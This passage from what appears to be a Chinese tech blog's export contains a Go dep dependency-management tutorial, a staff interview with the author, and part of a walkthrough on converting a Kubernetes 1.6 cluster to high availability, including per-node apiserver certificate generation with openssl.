build，因为这时vendor还不存在。这时我们需要执行下面命令来根据Gopkg.toml和Gopkg.lock中的数据构建vendor目录和同步里面的包：\n# dep ensure # ls -F Gopkg.lock Gopkg.toml main.go vendor/ ensure成功后，你就可以进行reproduceable build了。\n我们可以通过dep status查看当前的依赖情况(包括direct and transitive dependency)：\n# dep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED github.com/beego/mux branch master branch master 626af65 626af65 1 go.uber.org/atomic * v1.2.0 4e33664 4e33664 1 go.uber.org/zap ^1.4.0 v1.4.0 fab4530 fab4530 7 d) 指定约束 dep init生成的Gopkg.toml中的约束是否是我们预期的呢？这个还真不一定。比如：我们将对zap的约束手工改为1.3.0：\n//Gopkg.toml ... ... [[constraint]] name = \u0026quot;go.uber.org/zap\u0026quot; version = \u0026quot;\u0026lt;=1.3.0\u0026quot; 执行dep ensure后，查看status:\n# dep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED github.com/beego/mux branch master branch master 626af65 626af65 1 go.uber.org/atomic * v1.2.0 4e33664 4e33664 1 go.uber.org/zap \u0026lt;=1.3.0 v1.4.0 fab4530 fab4530 7 不过，此时Gopkg.lock中的zap version依旧是v1.4.0，并没有修改。要想更新lock和vendor下的数据，我们需要给ensure加上一个-update参数：\n# dep ensure -update # git diff Gopkg.lock diff --git a/depdemo/Gopkg.lock b/depdemo/Gopkg.lock index fce53dc..7fe3640 100644 --- a/depdemo/Gopkg.lock +++ b/depdemo/Gopkg.lock @@ -16,12 +16,12 @@ [[projects]] name = \u0026quot;go.uber.org/zap\u0026quot; packages = [\u0026quot;.\u0026quot;,\u0026quot;buffer\u0026quot;,\u0026quot;internal/bufferpool\u0026quot;,\u0026quot;internal/color\u0026quot;,\u0026quot;internal/exit\u0026quot;,\u0026quot;internal/multierror\u0026quot;,\u0026quot;zapcore\u0026quot;] - revision = \u0026quot;fab453050a7a08c35f31fc5fff6f2dbd962285ab\u0026quot; - version = \u0026quot;v1.4.0\u0026quot; + revision = \u0026quot;6a4e056f2cc954cfec3581729e758909604b3f76\u0026quot; + version = \u0026quot;v1.3.0\u0026quot; [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 - inputs-digest = \u0026quot;77d32776fdc88e1025460023bef70534c5457bdc89b817c9bab2b2cf7cccb22f\u0026quot; + inputs-digest = \u0026quot;b09c1497771f6fe7cdfcf61ab1a026ccc909f4801c08f2c25f186f93f14526b0\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 -update让dep ensure尝试去保证并同步Gopkg.lock和vendor目录下的数据，将Gopkg.lock下的zap的version改为Gopkg.toml下约束的最大值，即v1.3.0，同时更新vendor下的zap代码。\ne) 指定依赖 我们也可以直接更新dependency，这将影响Gopkg.lock和vendor下的数据，但Gopkg.toml不会被修改：\n# dep ensure 'go.uber.org/zap@\u0026lt;1.4.0' # git diff diff --git a/depdemo/Gopkg.lock b/depdemo/Gopkg.lock index fce53dc..3b17b9b 100644 --- a/depdemo/Gopkg.lock +++ b/depdemo/Gopkg.lock @@ -16,12 +16,12 @@ [[projects]] name = \u0026quot;go.uber.org/zap\u0026quot; packages = [\u0026quot;.\u0026quot;,\u0026quot;buffer\u0026quot;,\u0026quot;internal/bufferpool\u0026quot;,\u0026quot;internal/color\u0026quot;,\u0026quot;internal/exit\u0026quot;,\u0026quot;internal/multierror\u0026quot;,\u0026quot;zapcore\u0026quot;] - revision = \u0026quot;fab453050a7a08c35f31fc5fff6f2dbd962285ab\u0026quot; - version = \u0026quot;v1.4.0\u0026quot; + revision = \u0026quot;6a4e056f2cc954cfec3581729e758909604b3f76\u0026quot; + version = \u0026quot;v1.3.0\u0026quot; [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 - inputs-digest = \u0026quot;77d32776fdc88e1025460023bef70534c5457bdc89b817c9bab2b2cf7cccb22f\u0026quot; + inputs-digest = \u0026quot;3307cd7d5942d333c4263fddda66549ac802743402fe350c0403eb3657b33b0b\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 这种情况下会出现Gopkg.lock中的version不满足Gopkg.toml中约束的情况。这里也让我比较困惑！\n三、dep探索 上面的dep使用基本工作流完全可以满足日常包管理的需求了。但对于喜欢求甚解的我来说，必要要探索一下dep背后的行为和原理。\n1、dep init的两种不同结果 我们回到depdemo的初始状态，即起点：尚未生成dep metadata file的时刻。我们在两种情况下，分别执行dep init：\n$GOPATH/src下没有go.uber.org/zap\ndep init -v Searching GOPATH for projects\u0026hellip; Using master as constraint for direct dep github.com/beego/mux Locking in master (626af65) for direct dep github.com/beego/mux Following dependencies were not found in GOPATH. Dep will use the most recent versions of these projects. go.uber.org/zap Root project is \u0026ldquo;github.com/bigwhite/experiments/depdemo\u0026rdquo; 1 transitively valid internal packages 2 external packages imported from 2 projects \u0026hellip; \u0026hellip;\ndep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED github.com/beego/mux branch master branch master 626af65 626af65 1 go.uber.org/atomic * v1.2.0 4e33664 4e33664 1 go.uber.org/zap ^1.4.0 v1.4.0 fab4530 fab4530 7\n$GOPATH/src下存在go.uber.org/zap\ndep init -v Searching GOPATH for projects\u0026hellip; Using master as constraint for direct dep github.com/beego/mux Locking in master (626af65) for direct dep github.com/beego/mux Using master as constraint for direct dep go.uber.org/zap Locking in master (b33459c) for direct dep go.uber.org/zap Locking in master (908889c) for transitive dep go.uber.org/atomic Root project is \u0026ldquo;github.com/bigwhite/experiments/depdemo\u0026rdquo; 1 transitively valid internal packages 2 external packages imported from 2 projects \u0026hellip; \u0026hellip;\ndep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED github.com/beego/mux branch master branch master 626af65 626af65 1 go.uber.org/atomic * branch master 908889c 4e33664 1 go.uber.org/zap branch master branch master b33459c b33459c 7\n不知道大家发现两种情况下生成的结果的异同与否。我们只看两个dep status输出中的zap一行：\ngo.uber.org/zap ^1.4.0 v1.4.0 fab4530 fab4530 7 vs. go.uber.org/zap branch master branch master b33459c b33459c 7 dep自动分析后得到截然不同的两个结果。\n第一种情况，我们称之为dep init的network mode，即dep发现本地GOPATH下面没有zap，于是dep init通过network到upstream上查找zap，并“Dep will use the most recent versions of these projects”，即v1.4.0版本。\n第二种情况，我们称之为dep init的GOPATH mode, 即dep发现本地GOPATH下面存在zap，于是dep init认定“Using master as constraint for direct dep go.uber.org/zap”，即master branch。\n至于为何GOPATH mode下，dep init会选择master，我个人猜测是因为dep觉得既然你本地有zap，那很大可能zap master的稳定性是被你所接受了的。在“dep: updated command spec”中，似乎dep init打算通过增加一个-gopath的flag来区分两种工作模式，并将network mode作为默认工作mode。但目前我所使用的dep版本还没有实现这个功能，其默认工作方式依旧是先GOPATH mode，如果没有找到依赖包的存在，则针对该包实施network mode。\n从这里也可以看得出来，对于dep init 输出的约束，你最好还是检视一下，看是否能接受，否则就通过上面提到的“指定约束”来更正dep的输出。\n2、dep对项目的依赖包的cache 在进行上面的试验中，我们发现：在本地GOPATH/src下面没有zap的情况下，dep似乎是直接将zap get到本地vendor目录的，而不是先get到GOPATH/src下，在copy到vendor中。事实是什么样的呢？dep的确没有操作GOPATH/src目录，因为那是共享的。dep在$GOPATH/pkg/dep/sources下留了一块“自留地”，用于cache所有从network上下载的依赖包：\n# ls -F $GOPATH/pkg/dep/sources/ https---github.com-beego-mux/ https---github.com-uber--go-atomic/ https---github.com-uber--go-zap/ # ls -aF /root/go/pkg/dep/sources/https---github.com-uber--go-zap ./ buffer/ config_test.go field.go .gitignore http_handler.go LICENSE.txt options.go sugar.go writer.go ../ CHANGELOG.md CONTRIBUTING.md field_test.go glide.lock http_handler_test.go logger_bench_test.go README.md sugar_test.go writer_test.go array.go check_license.sh* doc.go flag.go glide.yaml internal/ logger.go .readme.tmpl time.go zapcore/ array_test.go common_test.go encoder.go flag_test.go global.go level.go logger_test.go stacktrace.go time_test.go zapgrpc/ benchmarks/ config.go encoder_test.go .git/ global_test.go level_test.go Makefile stacktrace_test.go .travis.yml zaptest/ dep对于依赖包的所以git请求均在这个缓存目录下进行。\n3、 vendor flatten平坦化 go在1.5加入vendor机制时，是考虑到“钻石形依赖”中存在同一个依赖包的不同版本的。我们来看看dep是否支持这一点。我们设计了一个试验：\n我们建立一个这样的“钻石形”试验环境，foo依赖a、b两个包，而a、b两个包分别依赖f的不同版本（通过在a、b中的Gopkg.toml声明这种约束，见图中标注）。\n下面是foo项目下面的main.go：\n// foo/main.go package main import \u0026quot;bitbucket.org/bigwhite/b\u0026quot; import \u0026quot;bitbucket.org/bigwhite/a\u0026quot; func main() { a.CallA() b.CallB() } 未引入dep前，我们来运行一下该代码：\n$go run main.go call A: master branch --\u0026gt; call F: call F: v1.1.0 --\u0026gt; call F end call B: master branch --\u0026gt; call F: call F: v2.0.1 --\u0026gt; call F end 可以看到同样是f包的输出，由于a、b分别依赖f的不同版本，因此输出不同。\n我们对foo进行一个dep 分析，看看dep给了我们什么结果：\n$dep init -v Searching GOPATH for projects... Using master as constraint for direct dep bitbucket.org/bigwhite/a Locking in master (9122a5d) for direct dep bitbucket.org/bigwhite/a Using master as constraint for direct dep bitbucket.org/bigwhite/b Locking in master (2415845) for direct dep bitbucket.org/bigwhite/b Locking in master (971460c) for transitive dep bitbucket.org/bigwhite/f Root project is \u0026quot;Foo\u0026quot; 1 transitively valid internal packages 2 external packages imported from 2 projects ... ... No versions of bitbucket.org/bigwhite/b met constraints: master: Could not introduce bitbucket.org/bigwhite/b@master, as it has a dependency on bitbucket.org/bigwhite/f with constraint ^2.0.0, which has no overlap with existing constraint ^1.1.0 from bitbucket.org/bigwhite/a@master v2.0.0: Could not introduce bitbucket.org/bigwhite/b@v2.0.0, as it is not allowed by constraint master from project Foo. v1.0.0: Could not introduce bitbucket.org/bigwhite/b@v1.0.0, as it is not allowed by constraint master from project Foo. master: Could not introduce bitbucket.org/bigwhite/b@master, as it has a dependency on bitbucket.org/bigwhite/f with constraint ^2.0.0, which has no overlap with existing constraint ^1.1.0 from bitbucket.org/bigwhite/a@master dep init运行失败。由于a依赖的f@^1.1.0和b依赖的f@^2.0.0两个约束之间没有交集，无法调和，dep无法solve这个依赖，于是init failed！\n但失败背后还有一层原因，那就是dep的设计要求flatten vendor，即使用dep的项目只能有一个root vendor，所以直接依赖或传递依赖的包中包含vendor的，vendor目录也都会被strip掉。这样一旦依赖包中存在带有冲突的约束，那么dep init必将失败。\n四、小结 dep一个重要feature就是支持semver 2.0规范，不过semver的规则好多，不是这里能说清楚的，大家可以到semver官方站细读规则，或者在npm semver calculator这个站点直观感受semver规则带来的变化。\ndep试验告一段落。从目前来看，dep已经进入可用阶段，建议有条件的童鞋能积极的使用dep，并为dep进行前期测试，发现问题提issue，为dep的快速完善出出力。\ndepdemo的代码在这里；a, b,f包的代码在这里、这里和这里。\n五、参考资料 dep FAQ dep roadmap dep updated command spec dep features The Saga of Go Dependency Management by sam boyer gps for implementors 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/08/first-glimpse-of-dep/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e程序组织和构建的基本单元是\u003ca href=\"http://tonybai.com/2015/03/09/understanding-import-packages/\"\u003ePackage\u003c/a\u003e，但Go语言官方却没有提供一款“像样的”Package Management Tool(包管理工具)。随着Go语言在全球范围内应用的愈加广泛，缺少官方包管理工具这一问题变得日益突出。\u003c/p\u003e\n\u003cp\u003e2016年\u003ca href=\"https://www.gophercon.com/\"\u003eGopherCon大会\u003c/a\u003e后，在\u003ca href=\"https://golang.org/\"\u003eGo官方\u003c/a\u003e的组织下，一个旨在改善Go包管理的\u003ca href=\"https://groups.google.com/forum/#!topic/go-package-management\"\u003ecommitee\u003c/a\u003e成立了，共同应对Go在package management上遇到的各种问题。经过各种脑洞和讨论后，该commitee在若干月后发布了“\u003ca href=\"https://groups.google.com/forum/#!topic/go-package-management/P8TehVoFLjg\"\u003ePackage Management Proposal\u003c/a\u003e”，并启动了最有可能被接纳为官方包管理工具的项目\u003ca href=\"https://github.com/golang/dep\"\u003edep\u003c/a\u003e的设计和开发。2017年年初，dep项目正式对外开放。截至目前，dep发布了\u003ca href=\"https://github.com/golang/dep/releases/tag/v0.1.0\"\u003ev0.1.0版本\u003c/a\u003e，并处于alpha测试阶段。\u003c/p\u003e","title":"初窥dep"},{"content":"本文是公司“运营拍档”公众号的专访文稿，这里转载一下^0^。原文链接在这里。\n十年生死两茫茫，白天忙，晚上忙，写程序，到天亮。千行代码，Bug何处藏。纵使上线又怎样，朝令改，夕断肠……\n白 明\n东软云科技架构师\n2017年Gopher China大会讲师\n《七周七语言》译者之一\n拥有10年编程工作经验\n多年电信领域产品研发和技术管理经验\n目前主要研究领域包括：\nGo、Kubernetes、Docker和儿童编程教育等\n一直以来，大家对程序员的固有印象是什么？刻板低调游戏宅？钱多话少无情趣？还是格子衬衫双肩包？无论哪种印象，都是对这个群体最偏激的总结，就像没见过海，总以为海是蔚蓝的。\n一百位程序员有一百种样子，如果非要给程序员群体划分出派系，那白大师非禁欲系莫属。\n话少有内涵，明明帅到颠倒众生，却高冷禁欲不屑一顾\nGo语言 – 未来企业级软件领域第一语言 就在上周，2017年Gopher China大会结束后，我们趁机“抓”住了被大会邀请担任讲师的白大师。希望能从这位颜值高、品味高、气质高的“三高”程序员身上，了解一些Gopher China这个“神秘组织”的信息。\nQ：上周被邀请作为2017年Gopher China大会的讲师，能向我们简单介绍一下Gopher China的江湖地位吗？\nA：Gopher China是中国大陆地区规模最大，也是最具影响力的Go语言技术大会。这个大会从2015年开始举办，今年已经是第三届了，其影响力已经扩展到了港澳台和东南亚地区。今年在大会上就有一些来自宝岛台湾、中国香港以及东南亚地区的Gopher。Gopher在Go圈里专指Go程序员，因为Go语言的吉祥物是Gopher（地鼠）。\n另外，关于Go语言这门开源编程语言未来的发展，白大师也给出来了自己的看法。\n“Go语言在中国大陆受欢迎程度非常高，甚至超出了全球平均水平。目前很火热的区块链技术的底层基础框架和平台很多也是由Go语言实现的，比如：以太坊。个人认为Go语言在未来发展前景一片光明，更有取代Java语言成为企业级软件领域第一语言的势头。”\n兴趣才是第一生产力 像汤姆汉克斯为表演而生，恰克·帕拉尼克为写作而生一样，白大师为代码而生。他们这群人是天生的创造者，具有强烈的好奇心，且能把兴趣转化成终生事业。\nQ:是 什么原因让你决定从事编程工作？\nA: “兴趣。”\nQ:您觉得对于一位软件工程师来说，最重要的特质是什么？\nA:“热爱编程。”\n在外行人看起来枯燥无味的代码，对他们来说也是满屏的成就感。\n“编程工作是为数不多的创造性智力劳动，未来世界编程将会变成普通公民的基本技能和能力，就像现在的语文、数学、物理、化学一样。”\n都说“知识改变人生”，但现实往往是“兴趣改变人生”。如果说动力是一个人坚持下去的力量，那兴趣就是为动力提供能量的永动机。而白大师的“编程十年”就是源于最初的兴趣以及兴趣产生的无限能量。\n代码外的世界 一位优秀的人之所以能称为优秀，最重要的原因就是你能从他身上不断寻找到惊喜。\n惊喜不断的白大师 当我以为白大师用了十年的时间钻研编程，沉浸在代码的世界里，他告诉我他也用了十年的时间写博客，现在仍孜孜不倦。\n当我以为他只是用文字记录生活、消磨时间，他却告诉我自己也翻译过一本编程类的书，叫《七周七语言》。\n当我以为这些经历已足够填满他这十年的时间，他说自己还是个“绝对梅吹”。喜欢阿根廷队，关注阿根廷球星，尤其在2005年看到了天赋异禀的梅西后，就一直膜拜至今。\n白大师和他的那些经典理论 当然，白大师带给我的惊喜，远远不止于他的爱好，还有一些“经典理论”。\n比如“年轻心态产生论”。\nQ：“为什么会选择加入运营拍档技术团队呢？哪些地方吸引了您？“\nA：“因为运营拍档技术团队所在的部门女同学平均年龄最低、平均颜值最高。在这样的环境下工作，心态都会变得年轻。这才是年轻心态产生的根本原因。\n（说好的高冷禁欲系呢？）\n比如，“挑战收获论”。\nQ：“您之前参与翻译过《七周七语言》，为什么会去做这项工作？这样的经历给您带来哪些收获？“\nA：“参与翻译工作，主要是想挑战一下自己。收获自然是有的，最大的收获是让我认识到翻译书这事儿真的很难，投入产出比很低。“\n其实，兴趣不只是对事物表面的关心，任何一种兴趣都是由于获得这方面的知识或成就感使人的体验在情绪上得到满足而循环产生的。很多时候我们觉得，一旦将兴趣变成工作，它最单纯的本质就变了样。可事实上，白大师用自己的经历向我们证明了：兴趣，才是第一生产力。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/05/18/an-interview-from-operation-partner-in-2017/","summary":"\u003cp\u003e本文是公司“运营拍档”公众号的专访文稿，这里转载一下^0^。原文链接在\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MzIzNTE1NzM0MQ==\u0026amp;mid=2651043958\u0026amp;idx=1\u0026amp;sn=d6056cabec856ac6596ccec59e0f2801\u0026amp;chksm=f31c7a44c46bf352641f559fb4db4eaeeea770a394ea085adeb49fd9dbcf75e6e083fdc7b476\u0026amp;mpshare=1\u0026amp;scene=1\u0026amp;srcid=051893tlXcuXd3AEzK2ZZR54\u0026amp;key=99c0c40a9ecc7deeb2e4209fa9c27751d3d65d0222595d7f1e84c11b7f255b6a56b6712570ab313622e604a35c840db66daea49df4a2a5c1f89fe531a34d0547432c447dde5fa8f2ffcbe7fdb044af76\u0026amp;ascene=0\u0026amp;uin=MTYwMzM0NjYyMQ%3D%3D\u0026amp;devicetype=iMac+MacBookAir6%2C2+OSX+OSX+10.9.2+build(13C64)\u0026amp;version=11020201\u0026amp;pass_ticket=ia4cVivHQScpxBfw10RPkT%2BWZVT1yfyMiTZHrOO15OBtpNZhx0V6DxxEFUySX3io\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e十年生死两茫茫，白天忙，晚上忙，写程序，到天亮。千行代码，Bug何处藏。纵使上线又怎样，朝令改，夕断肠……\u003c/p\u003e","title":"专访稿：兴趣才是第一生产力"},{"content":"续接上文。\n五、第三步：启动emei、wudang上的apiserver 跨三个node的etcd cluster已经建成并完成了数据同步，下面进行ha cluster改造的重要一步：启动wudang、emei上的apiserver\n1、启动emei、wudang上的apiserver 以shaolin node上的/etc/kubernetes/manifests/kube-apiserver.yaml为副本，制作emei、wudang上的kube-apiserver.yaml：\n唯一需要变动的就是- --advertise-address这个option的值： wudang: - --advertise-address=10.24.138.208 emei: - --advertise-address=10.27.52.72 在各自node上将kube-apiserver.yaml放入/etc/kubernetes/manifests中，各自node上的kubelet将会启动kube-apiserver并且各个apiserver默认连接本节点的etcd:\nroot@emei:~# pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE ... ... kube-system kube-apiserver-emei 1/1 Running 0 1d 10.27.52.72 emei kube-system kube-apiserver-shaolin 1/1 Running 0 1d 10.27.53.32 shaolin kube-system kube-apiserver-wudang 1/1 Running 0 2d 10.24.138.208 wudang 2、将emei、wudang上的kubelet改为连接自己所在节点的apiserver 所有apiserver都启动了。wudang、emei上的kubelet也应该连接自己节点的apiserver了！修改各自的/etc/kubernetes/kubelet.conf，修改server配置项：\nwudang: server: https://10.24.138.208:6443 emei: server: https://10.27.52.72:6443 各自重启kubelet:\n以wudang为例： root@wudang:~# systemctl daemon-reload root@wudang:~# systemctl restart kubelet 不过，问题出现了！查看重启的kubelet日志：\nroot@wudang:~# journalctl -u kubelet -f -- Logs begin at Mon 2017-05-08 15:12:01 CST. -- May 11 14:33:27 wudang kubelet[8794]: I0511 14:33:27.919223 8794 kubelet_node_status.go:230] Setting node annotation to enable volume controller attach/detach May 11 14:33:27 wudang kubelet[8794]: I0511 14:33:27.921166 8794 kubelet_node_status.go:77] Attempting to register node wudang May 11 14:33:27 wudang kubelet[8794]: E0511 14:33:27.926865 8794 kubelet_node_status.go:101] Unable to register node \u0026quot;wudang\u0026quot; with API server: Post https://10.24.138.208:6443/api/v1/nodes: x509: certificate is valid for 10.96.0.1, 10.27.53.32, not 10.24.138.208 May 11 14:33:28 wudang kubelet[8794]: E0511 14:33:28.283258 8794 event.go:208] Unable to write event: 'Post https://10.24.138.208:6443/api/v1/namespaces/default/events: x509: certificate is valid for 10.96.0.1, 10.27.53.32, not 10.24.138.208' (may retry after sleeping) May 11 14:33:28 wudang kubelet[8794]: E0511 14:33:28.499209 8794 reflector.go:190] k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: Failed to list *v1.Node: Get https://10.24.138.208:6443/api/v1/nodes?fieldSelector=metadata.name%3Dwudang\u0026amp;resourceVersion=0: x509: certificate is valid for 10.96.0.1, 10.27.53.32, not 10.24.138.208 May 11 14:33:28 wudang kubelet[8794]: E0511 14:33:28.504593 8794 reflector.go:190] k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: Failed to list *v1.Pod: Get https://10.24.138.208:6443/api/v1/pods?fieldSelector=spec.nodeName%3Dwudang\u0026amp;resourceVersion=0: x509: certificate is valid for 10.96.0.1, 10.27.53.32, not 10.24.138.208 从错误日志判断来看，似乎是wudang上的kubelet在与同一节点上的kube-apiserver通信过程中，发现这个apiserver返回的tls证书是属于10.27.53.32的，即shaolin node上的apiserver的，而不是wudang node上的apiserver的，于是报了错！问题的原因很明了，因为Wudang上的kube-apiserver用的apiserver.crt的确是从shaolin node上copy过来的。也就是说要解决这个问题，我们需要为wudang、emei两个node上的apiserver各自生成自己的数字证书。\n我们先来查看一下shaolin上的apiserver.crt内容是什么样子的：\nroot@shaolin:/etc/kubernetes/pki# openssl x509 -noout -text -in apiserver.crt Signature Algorithm: sha256WithRSAEncryption Issuer: CN=kubernetes Subject: CN=kube-apiserver X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Extended Key Usage: TLS Web Server Authentication X509v3 Subject Alternative Name: DNS:shaolin, DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, IP Address:10.96.0.1, IP Address:10.27.53.32 我们看到证书使用到了x509v3的扩展功能：subject alternative name，并且指定了多个value。我们为wudang、emei生成的apiserver.crt也应该如此。如何做呢？好在我们有整个集群的ca.key和ca.crt，可以用来签署证书请求。以wudang node为例，我们来为wudang node上的apiserver生成apiserver-wudang.key和apiserver-wudang.crt：\n//生成2048位的密钥对 root@wudang:~# openssl genrsa -out apiserver-wudang.key 2048 //生成证书签署请求文件 root@wudang:~# openssl req -new -key apiserver-wudang.key -subj \u0026quot;/CN=kube-apiserver,\u0026quot; -out apiserver-wudang.csr // 编辑apiserver-wudang.ext文件，内容如下： subjectAltName = DNS:wudang,DNS:kubernetes,DNS:kubernetes.default,DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, IP:10.96.0.1, IP:10.24.138.208 // 使用ca.key和ca.crt签署上述请求 root@wudang:~# openssl x509 -req -in apiserver-wudang.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out apiserver-wudang.key.crt -days 365 -extfile apiserver-wudang.ext Signature ok subject=/CN=10.24.138.208 Getting CA Private Key //查看新生成的证书： root@wudang:~# openssl x509 -noout -text -in apiserver-wudang.crt Certificate: Data: Version: 3 (0x2) Serial Number: 16019625340257831745 (0xde51245f10ea0b41) Signature Algorithm: sha256WithRSAEncryption Issuer: CN=kubernetes Validity Not Before: May 12 08:40:40 2017 GMT Not After : May 12 08:40:40 2018 GMT Subject: CN=kube-apiserver, Subject Public Key Info: ... ... X509v3 extensions: X509v3 Subject Alternative Name: DNS:wudang, DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, IP Address:10.96.0.1, IP Address:10.24.138.208 将apiserver-wudang.key和apiserver-wudang.crt放入/etc/kubernetes/pki目录下，修改kube-apiserver.yaml文件：\n// /etc/kubernetes/pki - --tls-cert-file=/etc/kubernetes/pki/apiserver-wudang.crt - --tls-private-key-file=/etc/kubernetes/pki/apiserver-wudang.key kube-apiserver重启后，再来查看kubelet日志，你会发现kubelet运行一切ok了。emei节点也要进行同样的操作。\n至此，整个集群的状态示意图如下：\n六、第四步：启动emei、wudang上的kube-controller-manager和kube-scheduler 这一步我们只需要将shaolin node上的/etc/kubernetes/manifests中的kube-controller-manager.yaml和kube-scheduler.yaml拷贝到wudang、emei两个node的相应目录下即可：\nroot@emei:~/kubernetes-conf-shaolin/manifests# pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE ... ... kube-system kube-controller-manager-emei 1/1 Running 0 8s 10.27.52.72 emei kube-system kube-controller-manager-shaolin 1/1 Running 3 1d 10.27.53.32 shaolin kube-system kube-controller-manager-wudang 1/1 Running 0 1m 10.24.138.208 wudang ... ... kube-system kube-scheduler-emei 1/1 Running 0 15s 10.27.52.72 emei kube-system kube-scheduler-shaolin 1/1 Running 3 1d 10.27.53.32 shaolin kube-system kube-scheduler-wudang 1/1 Running 0 3m 10.24.138.208 wudang ... ... 查看一下各个node下kcm和scheduler的日志：\nroot@wudang:~/demo# kubectl logs -f kube-controller-manager-emei -n kube-system I0511 07:34:53.804831 1 leaderelection.go:179] attempting to acquire leader lease... root@wudang:~/demo# kubectl logs -f kube-controller-manager-wudang -n kube-system I0511 07:33:20.725669 1 leaderelection.go:179] attempting to acquire leader lease... root@wudang:~/demo# kubectl logs -f kube-scheduler-emei -n kube-system I0511 07:34:45.711032 1 leaderelection.go:179] attempting to acquire leader lease... root@wudang:~/demo# kubectl logs -f kube-scheduler-wudang -n kube-system I0511 07:31:35.077090 1 leaderelection.go:179] attempting to acquire leader lease... root@wudang:~/demo# kubectl logs -f kube-scheduler-shaolin -n kube-system I0512 08:55:30.838806 1 event.go:217] Event(v1.ObjectReference{Kind:\u0026quot;Pod\u0026quot;, Namespace:\u0026quot;default\u0026quot;, Name:\u0026quot;my-nginx-2267614806-v1dst\u0026quot;, UID:\u0026quot;c075c6c7-36f0-11e7-9c66-00163e000c7f\u0026quot;, APIVersion:\u0026quot;v1\u0026quot;, ResourceVersion:\u0026quot;166279\u0026quot;, FieldPath:\u0026quot;\u0026quot;}): type: 'Normal' reason: 'Scheduled' Successfully assigned my-nginx-2267614806-v1dst to emei I0512 08:55:30.843104 1 event.go:217] Event(v1.ObjectReference{Kind:\u0026quot;Pod\u0026quot;, Namespace:\u0026quot;default\u0026quot;, Name:\u0026quot;my-nginx-2267614806-drnzv\u0026quot;, UID:\u0026quot;c075da9f-36f0-11e7-9c66-00163e000c7f\u0026quot;, APIVersion:\u0026quot;v1\u0026quot;, ResourceVersion:\u0026quot;166278\u0026quot;, FieldPath:\u0026quot;\u0026quot;}): type: 'Normal' reason: 'Scheduled' Successfully assigned my-nginx-2267614806-drnzv to wudang I0512 09:13:21.121864 1 event.go:217] Event(v1.ObjectReference{Kind:\u0026quot;Pod\u0026quot;, Namespace:\u0026quot;default\u0026quot;, Name:\u0026quot;my-nginx-2267614806-ld1dr\u0026quot;, UID:\u0026quot;3e73d350-36f3-11e7-9c66-00163e000c7f\u0026quot;, APIVersion:\u0026quot;v1\u0026quot;, ResourceVersion:\u0026quot;168070\u0026quot;, FieldPath:\u0026quot;\u0026quot;}): type: 'Normal' reason: 'Scheduled' Successfully assigned my-nginx-2267614806-ld1dr to wudang I0512 09:13:21.124295 1 event.go:217] Event(v1.ObjectReference{Kind:\u0026quot;Pod\u0026quot;, Namespace:\u0026quot;default\u0026quot;, Name:\u0026quot;my-nginx-2267614806-cmmkh\u0026quot;, UID:\u0026quot;3e73c8b2-36f3-11e7-9c66-00163e000c7f\u0026quot;, APIVersion:\u0026quot;v1\u0026quot;, ResourceVersion:\u0026quot;168071\u0026quot;, FieldPath:\u0026quot;\u0026quot;}): type: 'Normal' reason: 'Scheduled' Successfully assigned my-nginx-2267614806-cmmkh to emei 可以看出，当前shaolin node上的kcm和scheduler是leader。\n至此，整个集群的状态示意图如下：\n六、第五步：将wudang、emei设置为master node 我们试着在wudang节点上创建一个pod:\n// run-my-nginx.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-nginx spec: replicas: 2 template: metadata: labels: run: my-nginx spec: containers: - name: my-nginx image: nginx:1.10.1 ports: - containerPort: 80 发现pod居然被调度到了wudang、emei节点上了！\nNAMESPACE NAME READY STATUS RESTARTS AGE IP NODE default my-nginx-2267614806-drnzv 1/1 Running 0 5s 172.32.192.1 wudang default my-nginx-2267614806-v1dst 1/1 Running 0 5s 172.32.64.0 emei emei、wudang并没有执行taint，为何能承载workload? 查看当前cluster的node状态：\nroot@wudang:~# kubectl get node --show-labels NAME STATUS AGE VERSION LABELS emei Ready 1d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=emei shaolin Ready 2d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=shaolin,node-role.kubernetes.io/master= wudang Ready 1d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=wudang 从label看到，status列并没有明确输出谁是master，这和1.5.1版本以前似乎不同。emei、wudang与shaolin唯一的不同就是shaolin有一个key: node-role.kubernetes.io/master。难道这个label是指示谁是master的？我们给wudang打上这个label：\nroot@wudang:~/demo# kubectl label node wudang node-role.kubernetes.io/master= node \u0026quot;wudang\u0026quot; labeled root@wudang:~/demo# kubectl get node --show-labels NAME STATUS AGE VERSION LABELS emei Ready 1d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=emei shaolin Ready 2d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=shaolin,node-role.kubernetes.io/master= 